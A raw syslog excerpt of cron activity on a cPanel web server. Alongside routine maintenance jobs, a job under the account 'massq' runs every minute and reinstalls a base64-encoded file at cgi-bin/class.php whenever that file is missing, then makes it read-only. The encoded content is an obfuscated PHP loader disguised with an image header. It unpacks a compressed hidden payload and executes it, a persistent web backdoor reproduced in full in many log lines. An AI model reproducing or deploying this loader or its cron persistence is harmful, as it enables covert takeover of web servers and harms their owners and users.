Sep  9 12:38:01 server CROND[23394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:38:01 server CROND[23395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:38:01 server CROND[23396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:39:01 server CROND[23765]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 12:39:01 server CROND[23767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:39:01 server CROND[23766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:39:01 server CROND[23768]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:40:01 server CROND[24163]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:40:01 server CROND[24164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:40:01 server CROND[24165]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:40:01 server CROND[24173]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:40:01 server CROND[24174]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:40:01 server CROND[24176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:40:01 server CROND[24177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:40:01 server CROND[24175]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:41:01 server CROND[25084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:41:01 server CROND[25087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:41:01 server CROND[25088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:42:01 server CROND[25459]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 12:42:01 server CROND[25461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:42:01 server CROND[25462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:42:01 server CROND[25460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:43:01 server CROND[25997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:43:01 server CROND[25999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:43:01 server CROND[25998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:44:01 server CROND[26382]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:44:01 server CROND[26383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:44:01 server CROND[26384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:45:01 server CROND[26767]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:45:01 server CROND[26769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:45:01 server CROND[26771]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:45:01 server CROND[26773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:45:01 server CROND[26775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:45:01 server CROND[26772]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:45:01 server CROND[26770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:46:01 server CROND[27680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:46:01 server CROND[27681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:46:01 server CROND[27682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:47:01 server CROND[28046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:47:01 server CROND[28047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:47:01 server CROND[28048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:48:01 server CROND[28422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:48:01 server CROND[28423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:48:01 server CROND[28424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:49:01 server CROND[28786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:49:01 server CROND[28787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:49:01 server CROND[28789]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:50:01 server CROND[29168]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:50:01 server CROND[29171]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 12:50:01 server CROND[29170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:50:01 server CROND[29172]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
